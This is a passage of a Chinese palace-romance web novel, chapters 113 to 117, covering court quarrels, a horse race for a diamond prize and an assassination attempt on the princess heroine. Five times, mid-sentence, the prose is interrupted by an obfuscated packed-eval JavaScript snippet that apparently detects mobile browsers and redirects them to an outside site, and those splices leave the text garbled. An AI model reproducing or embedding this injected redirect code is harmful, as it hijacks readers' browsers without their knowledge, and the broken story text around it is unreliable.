毕竟华丽妍在众人心中都是玉女的形象,不但人品高洁,还一副菩萨心肠。 慕馨宁嘴角上扬,笑着问华丽妍:“当初你给母后准备的是什么寿礼来着,我怎么记不清了?” 华丽妍的丫鬟一脸愤怒的道:“那可是前朝皇室流传下来的水晶石笔架山,价值连城,你将它丢进湖里摔的粉碎,没有给我家县主道歉,也没有赔偿,奴婢看就应该把你告到大理寺将你绳之以法才是!” “要不是看你是长公主,太后的女儿、易王殿下的姐姐,我们太尉府才不会就这么算了!” 杜若磨牙,恼火的反驳:“明明就是丽妍县主先得罪我家主子的,是她对我家主子不敬,所以才给了她一个教训,再说你们说那东西是我家主子打碎的就是我家主子打碎的,没准你们拿了什么破东西,就是为了污蔑陷害我家主子!” 华丽妍侧头,给了自家丫鬟一个眼神,那丫鬟怒气冲冲的上前,就要扇杜若的耳光。 “你个该死的奴婢竟然污蔑我家县主,看我不好好教训你!” 杜若脸色一变,就在那丫鬟的巴掌要落在杜若脸上的时候,杜若一个转身,直接躲到了一人身后。 只听一声惨叫,那丫鬟就被鸦羽一脚踹出了三米开外,后背狠狠地撞在一颗树上才停了下来。 华丽妍的眼里闪过一抹恼意,却没有跟慕馨宁主仆发火,而是连忙去扶自己的丫鬟。 她看着自己丫鬟,一脸心疼的道:“小和,你没事吧,我不是跟你说了,对长公主要恭敬,遇事要忍耐,就算她有什么错处,看在太后娘娘的面子上……” 那个丫鬟小和委屈的哭出声来:“县主,这件事明明就是长公主和那两个贱婢的错,她们简直欺人太甚,我们凭什么要忍让,您可是易王殿下的未婚妻,太后娘娘未来的儿媳妇!” “长公主也太过分了吧……这么多使臣还都看着……” “就是,她仗着自己是长公主,到处欺负人,还有没有天理……” 听见别人的议论声,慕馨宁眼里闪过一抹冷意,她缓步走到华丽妍面前:“你确定是本宫打碎了你送太后的水晶石笔架山是么?” 华丽妍垂眸,眼神闪烁:“过去了,我不跟你计较。” 慕馨宁冷笑一声:“据本宫所知,那一块水晶石笔架山是前朝太后的传家之宝,有市无价,华太尉虽然身居一品,这一年的俸禄也不足三百两,而且他也是五年之前才升至太尉,请问你这稀世珍宝是从而何来?” 众人听了之后都一脸诧异,顿时觉得慕馨宁说的有道理。 听老一辈的人说,那水晶石笔架山在前朝有人开出二十万两白银的天价,也没能买的下来。 华太尉家有二十万两白银吗,又或者说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693976|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他那二十万两白银哪来的? 没有二十万两,那这宝贝又是从何而来,以什么手段而来? 感受到众人质疑的目光,华丽妍脸色惨白,她紧咬下唇,眼泪吧嗒吧嗒往下掉。 慕馨宁无奈的翻白眼,这女孩子动不动就掉眼泪扮柔弱,男人看着或许会疼惜,而她只觉得娇柔做作。 “小妹……小妹你怎么了?” 华太尉二儿子挤进人群,看见华丽妍受委屈的样子顿时急了。 他大步冲到华丽妍跟前:“你跟我说,是谁欺负你,我一定替你报仇。” 华丽妍不说话,只一劲儿的摇头。 她的丫鬟一边擦眼泪一边呜咽的指向慕馨宁:“就是长公主……” 小丫鬟添油加醋讲了事情的经过,无异于彰显慕馨宁的嚣张跋扈,自家县主的柔弱委屈。 慕馨宁一言不发,双手环胸,仿佛是个看热闹的局外人。 华力强恼火万分,怒不可遏的瞪着慕馨宁:“长公主欺人太甚,今日之事你要是不好好向妍儿道歉,赔偿弄坏的水晶石笔架山,我跟你没完!” 众人都等着看慕馨宁的好戏,虽然华力强身上没有官职,但是对这个妹妹可是宠爱至极,接下来可是有慕馨宁的好戏看了。 南阳郡主侧头,压低了声音对自己的丫鬟道:“安排几个人,暗地里对华力强动手,证据指向慕馨宁。” 丫鬟有些惊恐,毕竟勤王警告的话还犹在耳边,可是感受到南阳郡主眼里的威胁,她只能应声照做。 “华二公子,想如何啊?” 一道磁性冷漠的声音响起,众人诧异的看向来人。 就见晏骁寒一身黑色绣四方如意纹的长衫缓步而来,身后还跟着西梁皇子姬无忧。 姬无忧看华力强的目光多了几分同情,这傻子是没体会过他受的苦,晏骁寒对付一个外人,可是比对他这个好友狠辣多了。 华力强看见晏骁寒之后,有一瞬间的恍惚,刚刚是晏骁寒开的口? 晏骁寒竟然要替慕馨宁出头吗? 他喉结滚动,上前一步准备解释:“首辅大人您可别被长公主蒙蔽了,你不知道她做了什么卑鄙之事……” 话没说完,晏骁寒一掌下去,人直接吐血。 第114章 宝贝亲一口 “二哥!”华丽妍连忙扶住华力强摇摇欲坠的身子,一脸担忧:“二哥你可千万不要有事,你要是有个三长两短,我也不活了……” 华力强抓住华丽妍的手背,苦着一张脸安慰:“小妹,我没事,你别难过。今日我就算死,也要替你讨个公道!” “二哥……”华丽妍一脸感动。 众人忽然看不懂晏骁寒了,毕竟晏骁寒的为人一向正直,怎么为了一个慕馨宁竟然还不分青红皂白就动手了? “真是一场兄妹情深的好戏,要是让华二公子死去的母亲看见这一幕,定会欣慰吧。” 华力强看慕馨宁的双眼喷火:“用不着你在这里说风凉话,我警告……” 硬气的话没说完,忽然感受到晏骁寒眼里的杀意,他硬生生将到嘴边的话咽了下去。 华丽妍眼里闪过什么,拉着华力强就走:“二哥,算了吧……” 华力强看着慕馨宁,一脸不甘,可是他不敢得罪晏骁寒。 不过收拾慕馨宁的法子他有的是,他一定要让慕馨宁好看! 人还没走远,晏骁寒的声音响起:“二公子主动去大理寺把自己的罪行交代清楚,不要等着官差上门,否则事情闹大了,丢的可不只是华太尉的脸。” 华力强正琢磨怎么收拾慕馨宁,忽然听见晏骁寒这话,顿时双腿一软,扶着他的华丽妍也受了牵连,她尖叫一声,两个人双双倒在了地上。 “二哥,你怎么了?” 华丽妍心里恼火万分,当着这么多人的面华力强害得她出丑,真是该死,可是表面还是一副关心华力强的样子。 华力强不敢去看晏骁寒,用尽全力从地上爬起来,失落落魄的径自往回走,还跌坐在地上的华丽妍他都没心情多管了。 众人看着华力强走远,心里一阵唏嘘,明眼人早就看出来他定是做了什么亏心事,否则晏首辅说那种话的时候他早就该反驳了,也不会是这种丢了魂的样子。 晏骁寒之所以选择在这个时候发难华力强,定是因为华力强得罪了慕馨宁,难道晏首辅心里真的喜欢慕馨宁? 现在,就算还有人看不惯慕馨宁,都不敢在明面上,尤其是晏骁寒面前跟慕馨宁过不去。 有的人恐惧的离慕馨宁远远的,有的人已经在琢磨如何讨好慕馨宁。 “吉时已到,马赛即将开始,请参加比赛的诸位准备好……” 铜锣声一响,主事人扯着嗓子大声开口。 晏骁寒给了即墨一个眼神,即墨端着一颗鸡蛋大小的金刚石上前:“刚刚有人说长公主的彩头有些小气,所以我家首辅大人特意为长公主又添了彩头,金刚石!” 周围安静了片刻,随即就是一阵沸腾。 “天哪!金刚石,我只是听说过,还从未见过!” “哇,这也太漂亮了,它竟然闪烁着七彩的光芒,简直比天上的彩虹还要漂亮!” “怎么办。我好想要,可是我不会骑马……啊呜呜呜……” 慕馨宁被吵的有些头昏脑涨,好一会她才找到自己的声音:“钻石?” 这就是千百年的后世、象征着永恒爱情的钻石? 什么‘钻石恒久远,一颗永流传’的钻石? 慕馨宁活了两辈子,做鬼的时候她都没见过这么大的钻石。 杜若激动的心都要跳出来了,不只激动,还心疼:“主子,是金刚石,佛经中提及过的,听说皇后娘娘只有一颗黄豆大小的金刚石,喜欢的不得了!” 首辅大人这颗金刚石,可有一百多个黄豆大小了,这么珍贵的东西,首辅大人为什么拿出来做彩头,直接送给自家主子做聘礼不好嘛! “我,我也要参加赛马……” “我我也要参加,那么大的金刚石肯定是我的……谁也别跟我抢……” 听见一道道激动的声音,慕馨宁的心思也活泛起来,原本她只想观赛的,如今为了那颗钻石,不如她也去凑个热闹? 比赛即将开始,观赛的人陆陆续续入席,比赛人员也已经准备就绪。 和各国使臣客套片刻,晏骁寒就被请去入座观赛,在路过一处丛林时,里头忽然传来暧昧的声音。 “嗯……宝贝……贴贴……我好喜欢你……” “这是……长公主的声音……” 原本,晏骁寒只以为是谁不知检点欲求不满,竟然光天化日出来做那种见不得人的勾当,直到有人小声开口,晏骁寒当即顿住了脚步。 不用看他的脸色,就看晏骁寒背在身后的手紧握成拳咯咯作响,傻子都知道他怒了。 即墨连忙打圆场:“可能是有什么误会吧。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693977|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “能有什么误会,我家公主早就听见了里面淫荡的声音,若是平常也就算了,这么多使臣和贵人们都在场,皇上的面子往哪放啊!” 不远处的树根底下,宋菀菀捏着帕子,一脸害羞,她的丫鬟一副愤愤不平的样子。 即墨看了宋菀菀一眼,虽然宋菀菀还是锦衣华服光鲜亮丽如初,但是眼下即使遮了脂粉也难掩青黑。 昨夜卧室里出现**的事情,估计她也吓了个半死吧,今日还能出宫参加马赛,不知道该说她什么好。 “嗯……飞云宝贝,亲一口……让我好好摸摸……飞云……你好滑啊……” 慕馨宁放浪的声音又响起,有的人**已经有了某种反应,这叫、床的声音简直是酥麻又骚气,是个男人怕是都顶不住吧。 这飞云,一听就是男人的名字,还挺不正经。 南阳郡主听见这边的动静,急匆匆过来,慕馨宁的声音正好传进她的耳朵。 今日,府上已经在给她相看婚事了,她是偷偷跑出来的。 她本想趁机收拾慕馨宁,毕竟要不是慕馨宁,她昨夜也不会差点被吓死,父王也不会那么着急把她嫁出去。 如今晏骁寒和那么多使臣都在场,**慕馨宁竟然在这草丛里跟野男人苟且,这要是让大家撞见,皇上为了东陵的颜面,不杀慕馨宁,也要褫夺她的长公主之位,把她贬为庶民。 一想到这里,南阳郡主给了自己大宫女一个眼神,那宫女当即就道:“这怕是有什么误会吧,没准儿长公主是被胁迫的,我们快去瞧瞧吧!” 那宫女一带头,其他人也已经跃跃欲试,但是看晏骁寒冰冷至极的那张脸,都不敢先走一步。 姬无忧扯了一下嘴角,啪的打开折扇,不要命的率先进了树丛。 就算此举让好友颜面无存,但是为了避免那个女人坑害自己的好友一辈子,他也是拼了。 但愿晏骁寒能看清慕馨宁的嘴脸,跟她划清界限。 有他在前头做替死鬼,其他人也不怕了,一个个的都伸长了脖子,想看看长公主放浪的样子。 “啊……这……” 姬无忧看见里头的情形,摇扇子的手一僵。 众人瞪大眼睛,一脸不可置信。 晏骁寒黑着脸上前,众人连忙让出一条路来。 第115章 有刺客 树丛里,慕馨宁抱着一匹枣红马的脖子又亲又摸,一口一个飞云宝贝。 原本急匆匆跟上来的南阳郡主和宋菀菀看见这一幕,也愣住了。 “没有男人?”有人不可置信。 慕馨宁听见动静,不经意的回头,看见黑压压的一片人影吓了一跳。 她牵着那匹枣红色的马上前,对其中一个主事开口:“本宫也要参加赛马,你安排一下。” 主事的夹紧双腿,尽量不让人看出他的异样,连忙道:“好好好,长公主,老奴这就把您的名字添上。” 这匹枣红色的汗血宝马,名唤飞云,是当初玄翎回来送她的礼物。 慕馨宁一直忙,也没什么时间照看,今日有马赛,下人就把它给牵过来了,想着慕馨宁没准儿用的上。 慕馨宁许久都没见它,如今是越看越喜欢,还想着骑着它去参加马赛。 原本她是没那个打算的,可是为了那颗鸡蛋大小的金刚石,她拼了。 女人可以没有男人,但是一定不能没有钻石! “长公主,您要是喜欢那颗金刚石,跟我家主子说啊,我家主子还有一颗更大的。” 即墨看着慕馨宁一身英姿飒爽的红色骑马装,有些焦头烂额。 就连玄翎送的礼物慕馨宁都那么喜欢,一口一个宝贝,自家大人送的两节树枝却被慕馨宁厌恶的不行,为此还闹出了误会,差点就大动干戈了。 如今,自家主子为了给慕馨宁撑场面,随便拿出了一颗金刚石做彩头,没想到慕馨宁却瞧上了,还要亲自参加比赛。 早知道这样,当初直接送两颗金刚石不就行了,定能俘获长公主的芳心,现在这是什么事啊! 看着自家主子那阴云密布风雨欲来的脸色,即墨是操碎了心,生怕自己再遭受池鱼之殃。 只要慕馨宁一开口向自家主子讨要另一颗金刚石,再哄自家主子两句,那主子的气不就消了。 没想到慕馨宁态度坚决:“那么贵重的东西,本宫必须要凭实力得到才行,至于你说的另一颗金刚石,本宫可无福消受。” 晏骁寒能拿出这么贵重的东西替她做彩头,其实她心里挺高兴的,但是她也不能眼睁睁看着那颗钻石被别人收入囊中,怎么着也得拼一拼。 即墨都快哭了,还想说什么,主事的已经拔高了嗓门:“比赛马上开始,请参赛的诸位准备就绪,第一轮……” 因为参赛的人太多,所以比赛一共分成五轮,每一轮只选排在最前头的第一位,然后再参加最后一轮比赛来决定最终的胜负。 慕馨宁被排在第三轮。所以她暂且坐回了自己的位置。 不经意间,她看见了华丽妍。 华丽妍当然不会就这么走了,她要是离开,只会被别人以为是心中有鬼落荒而逃,今日她一定要找回颜面,让大家对她另眼相看。 慕馨宁有些惊讶,此时华丽妍也换了一套骑马装,原本温柔端庄的玉女,换上骑马装之后更是别有一番景色,好些个男人看的都移不开眼。 而且那颗金刚石,甚得她心,她一定要得到,留着将来做嫁妆! “主子,首辅大人让人送来的。” 慕馨宁正在大口吃糕点,想要补充一些体力,杜若捧着一个黄花梨的盒子过来。 听说是晏骁寒送的,慕馨宁就随手打开瞧了瞧,竟然是一颗拳头大小的金刚石。 阳光折射在金刚石上,耀眼的七彩光芒如梦似幻。 慕馨宁瞪大眼睛,心头狠狠一跳,晏骁寒这么大手笔吗? 有人不经意看过来,不由得尖叫一声。 所有人的目光都落在了慕馨宁的身上,羡慕,嫉妒,怨恨的眼神,几乎要将慕馨宁整个人吞噬。 慕馨宁连忙将盒子盖好,递给鸦羽:“这太贵重了,快还回去吧。” 杜若却道:“主子,还什么,您可是首辅大人的未婚妻,这就是首辅大人给您的定情信物!” 杜若越说越骄傲,下巴都要抬到天上去了。 之前那么多人私下说自家主子配不上首辅大人,就算配不上,那首辅大人也是对自家主子最好,别人只能眼巴巴的看着,哼! 慕馨宁有些犹豫,这么多人都看着,要是她拒绝了晏骁寒的好意,定会让晏骁寒脸上无光,到时候这厮肯定会记恨她。 她暂时也只能收下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693978|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有朝一日晏骁寒要是喜欢上了别的女子,想要将这颗钻石要回去,她再还给他也好。 “那就好好收着,千万别丢了。”慕馨宁一脸认真的叮嘱鸦羽。 鸦羽郑重的点头。 原本,见慕馨宁收了东西,晏骁寒的心情好了几分,脸色也缓和不少。 第三轮比赛开始,当他看见马背上的慕馨宁,脸色又黑了。 慕馨宁当然要参加赛马,她还是觉得那颗鸡蛋大小的钻石更现实一些,将来那颗最大的还给晏骁寒,她留一颗小的也不亏。 一声鞭响,参加比赛的人骑着马犹如离弦的箭,极速奔向终点。 慕馨宁排在第三位,遥遥领先的是赫连儒。 宋菀菀看着慕馨宁的身影,脸色难看,嘴唇都要咬破了。 该死的,早知道有今日,她也一定要学习赛马,就算不能拿到彩头,也能让人刮目相看,现在说什么也晚了。 “无论如何,也不能让慕馨宁得了第一!” 那样,慕馨宁就有机会拿到那颗金刚钻了! 她的宫女眼里闪过什么,压低了声音:“公主放心,料她也没有那个本事。” 无论如何,也不能再对慕馨宁下手,毕竟,昨夜寝殿里出现的**,简直是太可怕了。 “慕馨宁,你要是求我,我可以把第一名让给你!” 赛马场上,赫连儒勒着缰绳,回头看落后自一截的慕馨宁拔高了声音。 慕馨宁懒得理会她,夹紧马腹,虽然不舍,还是狠狠地抽了身下的枣红马一鞭子,马儿的速度顿时就加快了。 不远处小山丘的一颗松树上,站了一个人影。 那人看着马背上驰骋的慕馨宁,一张脸都扭曲起来:“该死的慕馨宁,害得老子断了一只手,今日老子定要送你下黄泉!” 百里尧吃力的用断了的那只手和树干做支撑,将身上的弓固定好,另一只手里的箭直指慕馨宁的脑袋。 马场,眼看着慕馨宁就要超过赫连儒,所有人都提了一口气,瞪大眼睛一瞬不瞬的盯着最前头的两个人影。 忽然,微弱的破空声音响起,有**惊失色:“有刺客!” 第116章 死无全尸 晏骁寒神色一凛,当即施展轻功,朝着慕馨宁而去。 慕馨宁整个人的注意力都在前面的终点,根本没有注意到到底发生了什么。 可晏骁寒就算速度再快,也快不过那支离弦的箭。 南阳郡主和宋菀菀震惊的站起身,眼看着那支箭离慕馨宁的脑袋越来越近,她们的心跳也越来越快。。 慕馨宁这就要**吗,简直是太好了! 眼看着那支箭就要刺进慕馨宁的脑袋,晏骁寒扯下腰间的玉佩,以最快的速度丢了出去。 砰的一声脆响,洁白无瑕的玉佩瞬间碎成两半,那支箭突然倾斜,朝着慕馨宁的头皮擦了过去。 慕馨宁原本梳的一丝不苟干净整洁的发髻,一瞬间如瀑布一般迎风散落。 马背上的她散着发,飒爽中有多了一抹柔情。 她依旧全神贯注,即使刚刚差一点丢了性命,也并未察觉。 慕馨宁的马终于超越了赫连儒,率先到达终点。 周围鸦雀无声,众人都被刚刚的情形震惊,直到现在也没缓过神来。 主事的好一会才合上张大的嘴巴,狠狠地敲了一声锣:“第一名,长公主殿下!” “殿下,您没事吧!” 慕馨宁还没下马,刘营带着人急匆匆过来。 慕馨宁抬手理了理凌乱的发,这才察觉到什么,她回头时,晏骁寒正在弯腰捡起地上碎了的玉佩。 “怎么回事?” 刘营一脸严肃的道:“有人刺杀长公主,属下已经让人去追了,幸好首辅大人及时出手。” 否则,就算大罗神仙,怕是也救不了慕馨宁了。 慕馨宁握紧缰绳闭上眼,没想到已自己在毫不知情时竟然捡了一条命。 她也很后怕,可是怕也没有用了。 她下马,走到晏骁寒跟前,看着他手里那块碎成两半的玉佩,声音有几分嘶哑:“谢谢你救了我,我一定赔你一块比这块还好的玉佩。” 晏骁寒深邃又淡漠的目光落在她身上,千言万语,只有一句:“你没事就好。” 慕馨宁笑了笑,拉着他的手往外走。 众目睽睽之下,晏骁寒就那么任由她拉着走出了人群。 南阳郡主气的咬牙:“该死的慕馨宁,她的命怎么那么大!” 宋菀菀也是气的七窍生烟:“她到底哪里好,晏骁寒竟然拼了命也要救她!” 慕馨宁拉着晏骁寒到了没人的地方,看着眼这张让人神魂颠倒的俊脸,一时间不知道该说什么才好。 她**,不是正合他意,他也不用再担心她造永平帝的反。 为什么救她? 晏骁寒抬手,检查了一下她的头皮:“幸好没有见血。” 那箭头估计是有剧毒,若是破了一层皮,那也能当场要了慕馨宁的命。 慕馨宁心头一动,双眼有些热,忽然之间,好像对晏骁寒所有的不满和芥蒂都放下了。 她抬手,搂住他的腰,将整张脸埋进他的胸口。 晏骁寒抬手,轻轻拍了拍她的肩。 本以为这女人定会后怕的掉眼泪,他正组织语言想着如何安慰她。 没想到慕馨宁忽然抬头,一脸期待的看着她:“让我亲口呗?” 要是她真就那么**,唯一的遗憾,就是没得到眼前这个男人。 晏骁寒忽然想起什么,面色微沉:“在你心里,我还不如你那匹马吧。” 一想到之前这个女人搂着那匹马的脖子又亲又摸,他顿时气不打一处来,亲了那匹马,还要亲他,把他当什么? 慕馨宁也是服了,随口敷衍:“你重要,你重要,你最重要了。” 晏骁寒的嘴角,微不可查的上扬。 慕馨宁盯着他那张脸,心里痒痒的,正要占点便宜,忽然冒出来一个人影,给她吓了一跳。 晏骁寒的冰冷的寒芒落在来人身上,离夜额头直冒冷汗。 “大人,人跑了……” 晏骁寒目光森寒:“是谁?” “百里尧。” 慕馨宁笑了笑:“怪不得这几天没看见他的人影,原来是琢磨怎么杀我呢。” 被慕馨宁当众嘲讽羞辱,他颜面尽失,又断了一只手,百里尧不杀慕馨宁才怪。 晏骁寒轻声对慕馨宁道:“等他出了东陵,定会让他死无全尸。” 东陵和北赫关系紧张,百里尧刺杀慕馨宁又没有直接被抓现形,他已经断了一只手,若是死在东陵,怕是会引起麻烦。 不过,虽然必须要让百里尧活着出东陵,但是定要再给他一些教训让他生不如死才是。 “最后一场比赛即将开始,请诸位做好准备!” 锣声一响,主事扯着嗓子大喊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15699678|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 慕馨宁也没心情再和晏骁寒腻歪,转身就要走。 晏骁寒一把拉住她:“你想要什么,我都能给你。” 所以,没有必要再去冒险,除了暗杀,要是不小心从马背上掉下来,也是很危险的。 慕馨宁抽回手:“我刚刚凭实力得了第一,最后的比赛当然要去,否则岂不是便宜了别人。” 看着慕馨宁走远,晏骁寒身后响起姬无忧的声音:“别的不行,她还挺自以为是。” 刚刚慕馨宁之所以能拿第一,还是因为赫连儒发现了那支射过来的箭,所以才会分心,否则哪有慕馨宁的机会。 晏骁寒淡淡看他一眼,姬无忧顿时喉咙一紧。 完了,一想起好友刚刚冒死去救慕馨宁,姬无忧就绝望了,他的好友,已经无药可救了。 将来他若是跟慕馨宁成为敌人,晏骁寒定会不分青红皂白,第一个收拾他吧? 哎,不行还是想想如何讨好那个女人吧…… “长公主不是已经有了一颗更大的金刚石,你怎么还来参赛,不如就把这个机会让给我们吧?” 有人见慕馨宁骑马上前,心中难掩嫉妒,说的话也是一阵阴阳怪气。 况且那金刚石,是晏骁寒替慕馨宁出的彩头,自己去争自己的彩头,要不要脸? 慕馨宁笑了笑:“凭什么要让,本宫也是凭本事争取来的机会。” 一声鞭响,比赛又开始了。 慕馨宁勒紧缰绳,全神贯注,一头乌发只用一根玉簪挽起,清爽又干练。 观赛席,晏骁寒坐在最首位,一双眼睛在慕馨宁身上就没有离开过,手里的茶端起来许久,没有喝,也没有放下。 即墨小声跟吴萸嘀咕:“估计我家主子当初参加科考的时候,都没有现在这么紧张。” 吴萸撇撇嘴目光轻蔑,哼,没出息。 “加油,丽妍县主加油!” 听见呐喊声,有人才注意到,华丽妍竟然也在比赛的队伍里。 “没想到她的马术竟然也这么好,简直是令我刮目相看!” “可不是,丽妍县主跟易王殿下简直是金童玉女门当户对,不像某些人……令人作呕……” 伊吾公主听了顿时不悦,回头就怼道:“管好你的嘴,某些人是谁,我看你是又嫉妒她,又怕她,你敢不敢提她的大名?” 第117章 唯利是图 朱小姐气的脸色涨红,刚要说什么,却被自己的丫鬟制止:“小姐,她可是伊吾的公主。” 朱小姐冷哼一声:“伊吾的公主能怎么样,不过也就是个破落的小国,还不是要仰他国鼻息!” 伊吾公主气的眼睛红了,刚要起身和朱小姐理论,却被她身边的嬷嬷制止。 杜若怎么听不出来朱小姐是在嘲讽自家主子,于是她没好气的道:“也只怪伊吾没有朱小姐攀龙附凤的本事,一个小小庶女嫁了九门提督做续弦,真是好大的风光!” 杜若故意拔高了声音,有人一想起年芳十六的朱小姐嫁了一个大她三四十岁的糟老头子,噗嗤一下笑出声来。 有人小声议论:“瞧瞧朱小姐,哦,是朱夫人,朱夫人这一身华贵的打扮,还有那目中无人的样子,还以为自己多风光呢。” 朱夫人顿时气的咬牙切齿,浑身都哆嗦起来。 “快看,马上就要到终点了!” 朱夫人正要发火,有人惊呼一声,所有人的注意力又到了赛马场。 最终,慕馨宁以第二名的成绩完成了这场比赛。 令人意想不到的是,这第一名竟然是华丽妍。 “恭喜长公主殿下拿了第二名的好成绩!” 华丽妍调转马头,一副很为慕馨宁高兴的样子。 慕馨宁淡淡一笑,回头朝着身后几个参加比赛的男子拱手:“多谢诸位相让,本宫铭记于心。” 几个公子含混着说客气了,慕馨宁是实至名归。 其实他们都是想卖晏骁寒一个好,再一个他们大男人跟女子争第一,也确实是颜面无光。 华丽妍顿时脸上挂不住,慕馨宁拿了第二,很骄傲吗,竟然还好意思跟别人客套? 慕馨宁终于拿到了自己心心念念的那颗金刚石。 鸡蛋大小的金刚石,握在手里刚刚好,她心里开心的不行。 这时,华丽妍诧异的看向晏骁寒道:“首辅大人是不是弄错了,臣女得了第一名,那颗金刚石不是应该属于臣女吗?” 晏骁寒沉默,并不打算与华丽妍多说。 即墨只能开口:“县主,您的芙蓉石耳盖炉那可是皇上亲自赏下来的彩头,当然是要排第一位的。” 慕馨宁打量了华丽妍手里的耳盖炉一眼,粉色的绝品芙蓉石,栩栩如生的精湛雕工,这也是上等的佳品。 感受到慕馨宁的打量,华丽妍笑着走到慕馨宁跟前:“既然长公主看上了臣女这芙蓉石耳盖炉,那臣女就忍痛割爱,和长公主换一下吧。” 慕馨宁也露出一个灿烂的笑容,握紧手里的金刚石:“华县主何必忍痛割爱,本宫又没跟你抢。” 华丽妍脸上的笑有些僵硬:“这当然不算抢,是臣女让给长公主的。” 慕馨宁想翻白眼,想要她的金刚石就直说,话说的这么冠冕堂皇,把她当傻子么? “本宫不需要你相让。” 要是她真的拎不清,把金刚石让给了华丽妍,那华丽妍和所有人也不会念她半点好,只觉得她占了大便宜。 华丽妍看着慕馨宁手里散发着七彩光芒的金刚石,眼里似闪过一抹不甘:“臣女家中正巧也有一个类似的耳盖炉,长公主又有两块金刚石,我们相互交换,岂不是一举两得,别人不会多说什么的。” 慕馨宁真是服了华丽妍的厚脸皮,似笑非笑的道:“那不行,该是谁的东西就是谁的,你一而再再而三的要拿你的耳盖炉跟本宫换金刚石,是不是嫌弃皇兄赏的彩头?” 华丽妍脸上的笑终于挂不住:“哪有,我只是以为长公主也喜欢,所以做个顺水推舟。” 慕馨宁皮笑肉不笑,见过脸皮厚的,没见过脸皮厚还虚情假意装作是为别人考虑的。 “本宫若是喜欢,可以找皇兄讨要,又或者找晏骁寒讨要也是一样的,完全不用华县主割爱。” 慕馨宁这话让华丽妍心里发堵,她有太后,有易王,可是她想要什么却从来不敢跟这二位说,还要极力的隐藏,生怕被人扣一个贪婪的坏名声。 可是为什么慕馨宁却可以这样堂而皇之的说出来,她一个长公主,不要脸的吗? 慕馨宁不再理会华丽妍,她小心翼翼的将手里那块钻石收好,然后对众人道:“今日就到这里了,诸位自便吧。” 她虽然话这么说,还是拉着晏骁寒小声商量,要请各国使臣和刚刚比赛时故意让着她的那几个年轻人一起用个午饭。 晏骁寒:“已经安排好了,明月楼。” 慕馨宁顿时心情大好,抱着他的手臂:“那快走吧,我都饿了。” 即墨站在远处,看着两个人好的像一个人似的,当即学着女人的样子撇了撇嘴,一脸不赞同。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15699679|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 要不是自己家主子冒险救了长公主一命,要不是长公主得了两块金刚石,要不是自家主子知晓长公主的心意提前定了明月楼的包厢,长公主还会跟自家主子这么好么? 长公主就是个唯利是图的势利眼,以后自家主子还有的苦受,他该怎么办…… 慕馨宁站在路边等着公主府的马车过来,这时宋菀菀和华丽妍结伴而来,身后不远处还有南阳郡主。 即使刚刚慕馨宁让华丽妍下不来台,华丽妍还是礼貌的跟慕馨宁打招呼。 慕馨宁只是颔首,并未多言。 宋菀菀顿住脚步,一脸好奇:“长公主不会以为,首辅大人是真心对你好,想要与你共度余生吧?” 慕馨宁这样的女人,怎么配晏骁寒喜欢,估计晏骁寒也就是碍于皇上的颜面,又想利用慕馨宁对付母后,所以才给了慕馨宁一点甜头。 慕馨宁嗤笑一声:“本宫为什么要把自己的一辈子寄托在一个男人身上?” 华丽妍捏了捏拳头,笑着开口:“这在家从父,出嫁从夫,女子不就是应该仰仗男子安度余生么?” 慕馨宁看华丽妍的眼神,跟看傻子一样。 